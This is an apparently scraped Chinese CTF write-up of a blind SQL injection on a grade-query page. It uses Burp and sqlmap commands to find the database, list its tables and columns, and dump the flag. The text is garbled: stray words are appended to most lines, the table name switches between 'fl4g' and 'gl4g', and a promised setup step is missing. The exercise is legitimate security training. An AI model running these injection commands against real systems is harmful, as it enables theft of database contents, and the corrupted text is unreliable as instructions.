打開來是成績查詢的界面sql
隨便輸入一下1獲得:數據庫
基本已經能肯定是sql注入的題了,但這道題沒有回顯,手動測試很麻煩(我也不太會),因此用sqlmappost
burp抓包,發現是一個post請求,將請求內容複製下來在kali中保存爲一個txt(這樣要比直接測試url快)測試
(此處插播一個小點——剛配置好的kali是不能直接獲取物理機上剪貼板的內容的,須要執行如下操做:url
接下來經過sqlmap找當前數據庫的名字:spa
1 sqlmap -r chengji.txt -p id --current-db
繼續查找其中的tables:3d
1 sqlmap -r chengji.txt -p id -D skctf_flag --tables
flag應該在fl4g這個表中,繼續查找字段:code
1 sqlmap -r chengji.txt -p id -D skctf_flag -T gl4g --columns
只有一個字段就是咱們須要的flag,查看一下它的內容:blog
1 sqlmap -r chengji.txt -p id -D skctf_flag -T gl4g -C skctf_flag --dump
獲得flagio
我本次使用sqlmap的時候不知道爲何特別慢,老是出現下面這句話,不知道怎麼能解決一下
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')?